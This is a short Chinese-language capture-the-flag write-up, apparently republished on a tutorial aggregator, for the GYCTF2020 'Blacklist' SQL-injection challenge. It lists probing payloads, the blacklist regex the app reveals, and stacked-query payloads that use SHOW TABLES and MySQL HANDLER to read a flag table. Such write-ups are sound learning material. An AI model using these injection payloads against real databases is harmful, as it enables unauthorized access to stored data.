[GYCTF2020]Blacklist

天大地大妈咪最大 提交于 2020-03-03 19:21:51

[GYCTF2020]Blacklist

判斷體型

這題和之前的隨便注長得一模一樣,不出意外就是SQL注入了。

標題有個hint,blacklist,之後肯定得繞過黑名單。

猜解SQL語句

1 => 正常回顯
1' => 正常回顯
1' or 1# => 正常回顯
1' and 0# => 不回顯

猜測查詢語句爲select * from Table where inject = '$inject';

猜解字段數

1' order by 1# => 正常回顯
1' order by 2# => 正常回顯
1' order by 3# => 報錯

所以知道字段數爲2

聯合查詢

1' union select 1,2#
=> 報錯 return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

這就是題目hint說的blacklist,有select不能直接聯合查詢,有set和prepare就不能預編譯了,有alter和rename,連堆注入都不行嗎?

看下大佬WP

堆注入

這題還是堆注入,不過不是像隨便注一樣重命名,而是通過handler讀取表。

先看下有哪些表。

1';show tables#

有一個FlagHere的表,應該就是它了。

hanlder讀它

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

得到flag。

參考和感謝

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!